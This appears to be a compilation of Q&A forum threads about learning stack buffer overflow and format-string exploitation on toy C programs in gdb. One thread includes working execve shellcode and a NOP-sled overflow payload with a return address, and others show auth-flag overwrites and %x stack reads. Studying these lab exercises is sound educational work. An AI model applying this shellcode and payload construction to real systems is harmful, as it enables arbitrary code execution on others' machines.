I am trying to exploit the following program :
#include <string.h>
int main(int argc, char *argv[]) {
char little_array[512];
if (argc > 1)
strcpy(little_array, argv[1]);
}
I want to first find the buffer length in order to overflow the stack so I use
(gdb) x/20xw $esp-532
0xffffcda8: 0x00000001 0x00000000 0x41414141 0x41414141
0xffffcdb8: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffcdc8: 0x00000041 0xf7fe6b8c 0xf7ffd000 0x00000000
0xffffcdd8: 0xffffce98 0xf7fe70db 0xf7ffdaf0 0xf7fd8e08
0xffffcde8: 0x00000001 0x00000001 0x00000000 0xf7ff55ac
(gdb)
And I find the address (since I ran 'AAAA'), so the address is 0xffffcdaa .
Im running a 64bit system, disabled ASLR.
And I defined the buffer 512 bytes long.
And I get
(gdb) p 0xffffddf0 - 0xffffcdaa
$1 = 4166
(gdb)
How can this be? It has something to do with my 64bit system? Im trying to follow an old book and cant really find anything better.
I used this program to find the starting point
// find_start.c
unsigned long find_start(void)
{
__asm__("movl %esp, %eax");
}
int main()
{
printf("0x%x\n",find_start());
}
(when this program compiled with the -m32 flag the output of it gives me a starting point that gives me a little better result, 574, but still is too far)
Related
I am following tutorial on youtube about basic buffer overflow "Running a Buffer Overflow Attack - Computerphile" and I cannot overwrite EIP value on Kali linux 2021.2.
#include <stdio.h>
#include <string.h>
int main (int argc, char** argv)
{
char buffer[500];
strcpy(buffer, argv[1]);
return 0;
}
I have compiled vuln.c with flags
gcc -m32 -g -fno-stack-protector -o vuln vuln.c
I have also disable OS memory randomization
after running
(gdb) run $(python -c 'print "\x41" * 508') I got SIGSEGV, but my registers look different from video -> "ecx 0x41414141 ebx 0x41414141 eip 0x565561e9 ", instruction pointer is not pointing as was mentioned in video at 0x41414141 but at some weird address " 0x565561e9". Can somebody explain me why? Why I cannot directly overwrite EIP and accomplish overflow?
(I know, Too many answers already, but need help)
As far as I know a buffer overflow can be protected by either ASLR, memory canaries, or non-executable stack. so for my testing purpose, I disabled ASLR with following sysctl -w kernel.randomize_va_space=0, disabled program canaries with following -fno-stack-protector and made the stack executable with following -z execstack.
Now to confirm these I did:
ASLR
root#kali:/tmp# cat /proc/sys/kernel/randomize_va_space
0
Executable stack: readelf -l vuln2
GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 RWE 0x10
Other info that might help:
root#kali:/tmp# file vuln2
vuln2: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=8102b60ffa8c26f231e4184d2f49b2e7c26a18b9, not stripped
CPU architecture is little endian:
root#kali:/tmp# lscpu | grep 'Byte Order'
Byte Order: Little Endian
program:
#include <stdio.h>
int main(int argc, char *argv[]){
char buf[512];
strcpy(buf, argv[1]);
return 0;
}
Compilation:
gcc -o vuln2 vuln2.c -fno-stack-protector -z execstack
Shellcode: is 25 bytes
\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05
does the shellcode work though? Yes, yes it does, compiling this spawn a shell:
#include <sys/mman.h>
#include <stdint.h>
char code[] = "\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05";
int main(){
mprotect((void *)((uint64_t)code & ~4095), 4096, PROT_READ|PROT_EXEC);
(*(void(*)()) code)();
return 0;
}
How do I exploit it?
well I need 526 bytes to overwrite RIP:
(gdb) r $(python -c 'print "A"*526')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /tmp/vuln2 $(python -c 'print "A"*526')
Program received signal SIGSEGV, Segmentation fault.
0x0000414141414141 in ?? ()
(gdb) x/x $rip
0x414141414141: Cannot access memory at address 0x414141414141
Stack start address: 0x7fffffffdd70
(gdb) x/100x $rsp
0x7fffffffdd60: 0xffffe058 0x00007fff 0xf7fd3298 0x00000002
0x7fffffffdd70: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdd80: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdd90: 0x41414141 0x41414141 0x41414141 0x41414141
RBP Address:
(gdb) x/x $rbp
0x7fffffffdf70: 0x41414141
now in order to exploit the stack we minus 6 from 526 which will be replaced with return address and minus 25 which is the shellcode, so totall 526-6-25=495
Final Exploit:
(gdb) r $(python -c 'print "\x90"*495+"\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05"+"\x90\xdd\xff\xff\xff\x7f"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /tmp/vuln2 $(python -c 'print "\x90"*495+"\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05"+"\x90\xdd\xff\xff\xff\x7f"')
Program received signal SIGILL, Illegal instruction.
0x00007fffffffdf73 in ?? ()
Is there any mistake that I am making?
1)I have same issue. It's happening when return address on the stack is
modifying by shellcode and the address replaced does not belong to valid
addresses.
After you get this error, type x/400xw $rsp , choose valid address and correct
padding, from stack.
You're welcome.
0x00007fffffffdf73 cannot be a valid address because you are in 64 bits mode
and this address isn't 8 bytes aligned.
no word starts from this address.
For example,
0x7fffffffdf70: 0x41414141 0x41414141 0x41414141 0x41414141
If you try to access to 0x7fffffffdf73 , you retrieve a first word (from left) and 3-nth byte from right
(because little endian, MSB is on the right) .
So, you have to choose an address like 0x7fffffffdf70 or 0x7fffffffdf74 or
0x7fffffffdf78 etc... (last digit of address multiple of 4)
Everything I read leads me to believe that this should cause a stack buffer overflow, but it does not:
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[]) {
char password[8];
int correctPassword = 0;
printf("Password \n");
gets(password);
if(strcmp(password, "password"))
{
printf ("Wrong password entered, root privileges not granted... \n");
}
else
{
correctPassword = 1;
}
if(correctPassword)
{
printf ("Root privileges given to the user \n");
}
return 0;
}
But here is my output:
in this case, testtesttesttesttest is clearly larger than 8 characters, and, according to the source, it should cause a stack buffer overflow, but it does not. Why is this?
Reading more bytes then your buffer can contain won't always lead to a run-time error but it's a very bad and common error (read this article about smashing the stack). As I read from comments you added -fno-stack-protector to get the program to not print * stack smashing detected * but that's not a good idea. You should use scanf(" %8s",password) or something similar to limit the dimension of what you read.
Your code does cause a buffer overflow on the stack, in the sense that you have overwritten the allocated memory for the password buffer. Behold the memory that has been overwritten after you provide the input.
gcc -o Overflow Overflow.c -fno-stack-protector -g
gdb Overflow
(gdb) b 8
Breakpoint 1 at 0x4005cc: file Overflow.c, line 8.
(gdb) b 11
Breakpoint 2 at 0x4005e2: file Overflow.c, line 11.
(gdb) r
Starting program: /home/hq6/Code/SO/C/Overflow
Breakpoint 1, main (argc=1, argv=0x7fffffffde08) at Overflow.c:8
8 printf("Password \n");
(gdb) x/20x password
# Memory before overflow
0x7fffffffdd10: 0xffffde00 0x00007fff 0x00000000 0x00000000
0x7fffffffdd20: 0x00400630 0x00000000 0xf7a2e830 0x00007fff
0x7fffffffdd30: 0x00000000 0x00000000 0xffffde08 0x00007fff
0x7fffffffdd40: 0xf7ffcca0 0x00000001 0x004005b6 0x00000000
0x7fffffffdd50: 0x00000000 0x00000000 0x67fbace7 0x593e0a93
(gdb) c
Continuing.
Password
correctPassword
Breakpoint 2, main (argc=1, argv=0x7fffffffde08) at Overflow.c:11
11 if(strcmp(password, "password"))
(gdb) x/20x password
# Memory after overflow
0x7fffffffdd10: 0x72726f63 0x50746365 0x77737361 0x0064726f
0x7fffffffdd20: 0x00400630 0x00000000 0xf7a2e830 0x00007fff
0x7fffffffdd30: 0x00000000 0x00000000 0xffffde08 0x00007fff
0x7fffffffdd40: 0xf7ffcca0 0x00000001 0x004005b6 0x00000000
0x7fffffffdd50: 0x00000000 0x00000000 0x67fbace7 0x593e0a93
Whether or not a buffer overflow has undesirable side effects is undefined behavior.
I'm currently reading (for the second time) "Hacking : The Art of Exploitation" and have stumbled on something.
The book suggests two different ways to exploit these two similar programs : auth_overflow and auth_overflow2
In the first one, there is a password checking function layed out like this
int check_authentication(char *password) {
int auth_flag = 0;
char password_buffer[16];
strcpy(password_buffer, password);
...
}
Inputing more than 16 ASCII characters will change the value of auth_flag to something greater than 0, thus bypassing the check, as shown on this gdb output:
gdb$ x/12x $esp
0xbffff400: 0xffffffff 0x0000002f 0xb7e0fd24 0x41414141
0xbffff410: 0x41414141 0x41414141 0x41414141 0x00000001
0xbffff420: 0x00000002 0xbffff4f4 0xbffff448 0x08048556
password_buffer # 0xbffff40c
auth_flag # 0xbffff41c
The second program inverts the two variables :
int check_authentication(char *password) {
char password_buffer[16];
int auth_flag = 0;
strcpy(password_buffer, password);
...
}
The author then suggests than it's not possible to overflow into auth_flag, which I really believed. I then proceeded to overflow the buffer, and to my surprise, it still worked. The auth_flag variable was still sitting after the buffer, as you can see on this gdb output:
gdb$ x/12x $esp
0xbffff400: 0xffffffff 0x0000002f 0xb7e0fd24 0x41414141
0xbffff410: 0x41414141 0x41414141 0x41414141 0x00000001
0xbffff420: 0x00000002 0xbffff4f4 0xbffff448 0x08048556
password_buffer # 0xbffff40c
auth_flag # 0xbffff41c
I'm wondering if gcc is not reordering local variables for alignement/optimization purposes.
I tried to compile using -O0 flag, but the result is the same.
Does one of you knows why is this happening ?
Thanks in advance.
The compiler authors are completely free to implement any allocation scheme for local variables with automatic storage. auth_flag could be set before or after password_buffer on the stack, it could be in a register, it could be elided completely if proper analysis of the code allows it. There might not even be a stack... The only guarantee the Standard gives you is this:
strcpy(password_buffer, password); invokes undefined behavior if the source string including its null terminator is longer than the destination array password_buffer. Whether this undefined behavior fits your needs is completely outside of the language specification.
As a matter of fact, some implementors purposely complicate the task of would be hackers by randomizing the behavior in cases such as the posted code.
I had the same problem. In order to fix this, put the two variables in a struct. In a struct the fields are always located as defined in the struct. Be aware that the order is reversed.
struct myStruct {
int auth_flag;
char password_buffer[16];
};
I know thats an old question.
But in my case -fno-stack-protector flag did the trick.
So if I compile with -fno-stack-protector, local variables ordered as excepted (at least for this simple program ).
I wonder, maybe reordering can be some sort of protection.
Here I found link about that
I came across this code showing format string exploitation while reading this article.
#include <stdio.h>
int main(void)
{
char secret[]="hack.se is lame";
char buffer[512];
char target[512];
printf("secret = %pn",&secret);
fgets(buffer,512,stdin);
snprintf(target,512,buffer);
printf("%s",target);
}
Executing it with following input
[root#knark]$ ./a.out
secret = 0xbffffc68
AAAA%x %x %x %x %x %x %x //Input given
AAAA4013fe20 0 0 0 41414141 33313034 30326566
- [root#knark]$
What I understand till now is the sequence of %x's will keep on printing the values at addresses above current %esp (I'm assuming that stack is growing downwards towards lower address).
What I'm unable to understand is the input given is stored in buffer array which can't be less than 512 bytes away from current %esp. So, how can the output contain 41414141 (the hex representation of AAAA) just after the 4 %x, i.e, just above the 4 addresses of current %esp. I tried hard to stare at assembly code too but I think I couldn't follow the manipulation of strings on stack.
On entry to snprintf, the stack has the following:
0xbfd257d0: 0xxxxxxxxx 0xxxxxxxxx 0xxxxxxxxx 0x080484d5
0xbfd257e0: 0xbfd25800 0x00000200 0xbfd25a00 0x00000000
0xbfd257f0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfd25800: 0x00000000 0x00000040 0xb7f22f2c 0x00000000
0xbfd25810: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfd25800 -> target (initially 0x00000000 0x00000040 ...)
... -> garbage
0xbfd257e8 -> pointer to buffer
0xbfd257e4 -> 512
0xbfd257e0 -> pointer to target
0xbfd257df -> return address
target gets overwritten with the result of snprintf before snprintf gets to use its words as arguments: It first writes "AAAA" (0x41414141) at 0xbfd25800, then "%x" reads the value at 0xbfd257ec and writes it at 0xbfd25804, ..., then "%x" reads the value at 0xbfd25800 (0x41414141) and writes it at 0xbfd25814, ...
First of all, let's have a look at the stack after calling snprintf():
Reading symbols from /home/blackbear/a.out...done.
(gdb) run
Starting program: /home/blackbear/a.out
secret = 0xbffff40c
ABCDEF%x %x %x %x %x %x %x
Breakpoint 1, main () at prova.c:13
13 printf("%s",target);
(gdb) x/20x $esp
0xbfffeff0: 0xbffff00c 0x00000200 0xbffff20c 0x00155d7c
0xbffff000: 0x00155d7c 0x000000f0 0x000000f0 0x44434241
0xbffff010: 0x35314645 0x63376435 0x35353120 0x20633764
0xbffff020: 0x66203066 0x34342030 0x32343334 0x33203134
0xbffff030: 0x34313335 0x20353436 0x37333336 0x35333436
(gdb)
We can actually see, at 0xbffff00c, the string already formatted, so sprintf() wrote right there. We can also see, at 0xbfffeff0, the last argument for snprintf(): target's address, which is actually 0xbffff00c.
So I can deduce that strings are saved from the end to the beginning of their allocated space on the stack, as we can also see adding a strcpy():
blackbear#blackbear-laptop:~$ cat prova.c
#include <stdio.h>
#include <string.h>
int main(void)
{
char secret[]="hack.se is lame";
char buffer[512];
char target[512];
printf("secret = %p\n", &secret);
strcpy(target, "ABCDEF");
fgets(buffer,512,stdin);
snprintf(target,512,buffer);
printf("%s",target);
}
blackbear#blackbear-laptop:~$ gcc prova.c -g
prova.c: In function ‘main’:
prova.c:14: warning: format not a string literal and no format arguments
prova.c:14: warning: format not a string literal and no format arguments
blackbear#blackbear-laptop:~$ gdb ./a.out -q
Reading symbols from /home/blackbear/a.out...done.
(gdb) break 13
Breakpoint 1 at 0x8048580: file prova.c, line 13.
(gdb) run
Starting program: /home/blackbear/a.out
secret = 0xbffff40c
Breakpoint 1, main () at prova.c:13
13 fgets(buffer,512,stdin);
(gdb) x/10x $esp
0xbfffeff0: 0xbffff00c 0x080486bd 0x00000007 0x00155d7c
0xbffff000: 0x00155d7c 0x000000f0 0x000000f0 0x44434241
0xbffff010: 0x00004645 0x00000004
(gdb)
That's it! In conclusion, we've found the string there because strings are stored on the stack in a reversed way, and the beginning (or the end?) of target is near esp.